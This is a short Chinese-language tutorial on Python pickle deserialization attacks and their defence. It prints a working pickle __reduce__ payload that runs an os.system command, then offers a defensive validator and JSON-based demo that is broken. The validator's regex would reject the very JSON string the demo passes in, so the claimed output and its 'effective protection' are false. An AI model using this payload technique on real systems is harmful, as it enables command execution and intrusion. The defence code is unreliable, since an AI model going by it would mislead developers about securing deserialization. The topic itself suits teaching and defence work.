Python中的反序列化攻击Payload实现与防御

反序列化攻击

反序列化攻击是一种利用应用程序中的序列化功能漏洞的攻击方式，通过将恶意的序列化数据传递给应用程序，从而导致非预期的代码执行。这种攻击方式通常发生在数据接收环节，攻击者利用漏洞控制数据的格式和内容，使其被反序列化时执行恶意代码。

Python中的反序列化攻击Payload实现

下面是一个简单的 Python 反序列化攻击 Payload 实现的例子：

import pickle

class Payload(object):
    def __reduce__(self):
        import os
        return (os.system, ('echo "Hacked!" > hacked.txt',))

payload = pickle.dumps(Payload())

# 假设定义了一个函数 unserialize(data)
unserialize(payload)

这个例子中，我们构造了一个名为 Payload 的类，它定义了 __reduce__ 方法。这个方法返回一个元组，其中第一个元素是要执行的函数，第二个元素是传递给函数的参数。在这个例子中，我们传递给os.system 函数的参数是执行一个命令 echo "Hacked!" > hacked.txt。 pickle.dumps 函数将我们的 Payload 对象序列化为一个字符串，然后我们把这个字符串传递给应用程序的 unserialize 函数。

当应用程序调用 pickle.loads 函数进行反序列化时，Payload 类中的 __reduce__ 方法就会被调用， os.system 函数会执行我们传递的恶意命令。

防御

要防范反序列化攻击，可以在应用程序中采取以下预防措施：

1. 不要信任来自用户的数据，使用白名单来验证和过滤数据。

2. 限制输入数据的大小，避免过大的数据导致 DOS 攻击。

3. 避免使用 pickle、cPickle 等不安全的序列化方式，使用 JSON、XML 等安全的格式。

4. 使用沙箱技术，限制代码执行的环境和权限。

5. 对外部依赖进行安全评估和风险评估，更新并修复漏洞。

代码演示

下面是一个防范反序列化攻击的例子，我们对输入的数据进行了过滤和验证：

import re
import json

def validate(data):
    if re.match("^[a-zA-Z0-9_\-\.]+$", data):
        return True
    return False

def unserialize(data):
    if not validate(data):
        raise ValueError("Invalid data format")
    # 其他反序列化操作
    return json.loads(data)

data = "pidancode.com"
payload = json.dumps({"data": data})

result = unserialize(payload)

print(result["data"])  # Output: pidancode.com

在这个例子中，我们先通过正则表达式过滤了输入的数据，只允许包含字母、数字、下划线、短横线和点号的字符串。然后，我们使用 JSON 格式进行序列化和反序列化操作。

这样的做法可以有效避免反序列化攻击，因为恶意的 Payload 字符串无法通过数据格式验证的关卡，从而得到阻止。